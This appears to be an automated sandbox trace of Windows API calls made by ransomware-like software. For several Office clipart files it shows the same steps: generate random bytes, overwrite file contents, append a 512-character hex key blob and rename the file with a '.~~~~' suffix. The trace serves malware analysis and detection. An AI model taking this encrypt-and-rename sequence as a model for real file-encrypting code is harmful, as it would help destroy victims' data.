	[0089.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.274] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20926368886) returned 1
	[0089.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9efdef10, dwHighDateTime=0x1d60e1e)) 
	[0089.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1f08
	[0089.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1f08 | out: hHeap=0x300000) returned 1
	[0089.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c750
	[0089.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.274] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.275] GetLastError () returned 0x0
	[0089.275] GetLastError () returned 0x0
	[0089.275] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.275] GetLastError () returned 0x0
	[0089.275] GetLastError () returned 0x0
	[0089.278] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff2ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.278] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xd14, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0xd14, lpOverlapped=0x0) returned 1
	[0089.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.278] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.279] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.279] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.279] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.279] CloseHandle (hObject=0x128) returned 1
	[0089.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.279] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.~~~~")) returned 1
	[0089.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.280] GetLastError () returned 0x0
	[0089.281] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.282] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.282] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.283] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20927281615) returned 1
	[0089.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9efdef10, dwHighDateTime=0x1d60e1e)) 
	[0089.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2710
	[0089.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2710 | out: hHeap=0x300000) returned 1
	[0089.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c7e8
	[0089.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.283] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.284] GetLastError () returned 0x0
	[0089.284] GetLastError () returned 0x0
	[0089.284] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.284] GetLastError () returned 0x0
	[0089.284] GetLastError () returned 0x0
	[0089.372] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffef38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.372] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x10c8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0x10c8, lpOverlapped=0x0) returned 1
	[0089.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.375] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.380] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.387] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.387] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.387] CloseHandle (hObject=0x128) returned 1
	[0089.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.395] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.~~~~")) returned 1
	[0089.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.410] GetLastError () returned 0x0
	[0089.411] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.412] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.412] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.412] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20940219790) returned 1
	[0089.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f135b70, dwHighDateTime=0x1d60e1e)) 
	[0089.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a39c8
	[0089.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a39c8 | out: hHeap=0x300000) returned 1
	[0089.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c880
	[0089.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.413] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.413] GetLastError () returned 0x0
	[0089.413] GetLastError () returned 0x0
	[0089.413] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.413] GetLastError () returned 0x0
	[0089.413] GetLastError () returned 0x0
	[0089.415] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff9784, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.415] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x687c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0x687c, lpOverlapped=0x0) returned 1
	[0089.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.415] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.416] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.416] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.416] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.416] CloseHandle (hObject=0x128) returned 1
	[0089.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.416] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.~~~~")) returned 1
	[0089.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.417] GetLastError () returned 0x0
	[0089.417] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.418] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.418] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.419] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20940880503) returned 1
	[0089.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f135b70, dwHighDateTime=0x1d60e1e)) 
	[0089.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3300
	[0089.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3300 | out: hHeap=0x300000) returned 1
	[0089.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d168
	[0089.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.419] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.419] GetLastError () returned 0x0
	[0089.420] GetLastError () returned 0x0
	[0089.420] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.420] GetLastError () returned 0x0
	[0089.420] GetLastError () returned 0x0
	[0089.422] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffecc4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.422] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x133c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0x133c, lpOverlapped=0x0) returned 1
	[0089.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.422] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.423] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.423] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.423] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.423] CloseHandle (hObject=0x128) returned 1
	[0089.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.423] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.~~~~")) returned 1
	[0089.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.424] GetLastError () returned 0x0
	[0089.427] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.428] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.428] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.428] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20941843006) returned 1
	[0089.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f15bcd0, dwHighDateTime=0x1d60e1e)) 
	[0089.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3338
	[0089.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3338 | out: hHeap=0x300000) returned 1
	[0089.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d200
	[0089.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.429] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.429] GetLastError () returned 0x0
	[0089.429] GetLastError () returned 0x0
	[0089.429] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.429] GetLastError () returned 0x0
	[0089.429] GetLastError () returned 0x0
	[0089.432] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff01e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.432] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xfe2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0xfe2, lpOverlapped=0x0) returned 1
	[0089.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.432] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.432] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.432] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.432] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.433] CloseHandle (hObject=0x128) returned 1
	[0089.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.433] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.~~~~")) returned 1
	[0089.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
